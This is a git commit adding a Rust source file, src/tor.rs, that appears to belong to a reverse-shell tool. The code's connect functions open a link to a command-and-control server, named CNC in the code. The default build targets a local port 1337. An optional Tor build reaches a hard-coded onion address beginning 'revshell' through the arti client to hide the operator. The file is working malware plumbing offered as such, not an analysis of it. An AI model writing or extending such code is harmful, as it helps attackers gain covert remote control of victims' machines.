This commit is contained in:
Sivert V. Sæther
2025-09-24 16:24:18 +02:00
commit a4645e239b
7 changed files with 5755 additions and 0 deletions

31
src/tor.rs Normal file
View File

@@ -0,0 +1,31 @@
#[cfg(feature = "tor")]
use arti_client::DataStream;
#[cfg(not(feature = "tor"))]
use tokio::net::TcpStream;
#[inline]
#[cfg(not(feature = "tor"))]
pub async fn connect() -> std::io::Result<TcpStream> {
static CNC: &str = "127.0.0.1:1337";
let sock = tokio::net::TcpSocket::new_v4()?;
let stream = sock.connect(CNC.parse().unwrap()).await?;
stream.set_nodelay(true)?;
Ok(stream)
}
#[inline]
#[cfg(feature = "tor")]
pub async fn connect() -> std::io::Result<DataStream> {
use arti_client::{config::TorClientConfigBuilder, TorClient};
static CNC: &str = "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion";
let config = {
let mut conf = TorClientConfigBuilder::default();
conf.address_filter().allow_onion_addrs(true);
conf.build().unwrap()
};
let tor_client = TorClient::create_bootstrapped(config).await.unwrap();
match tor_client.connect((CNC, 1337)).await {
Err(err) => Err(std::io::Error::new(std::io::ErrorKind::Other, err)),
Ok(stream) => Ok(stream),
}
}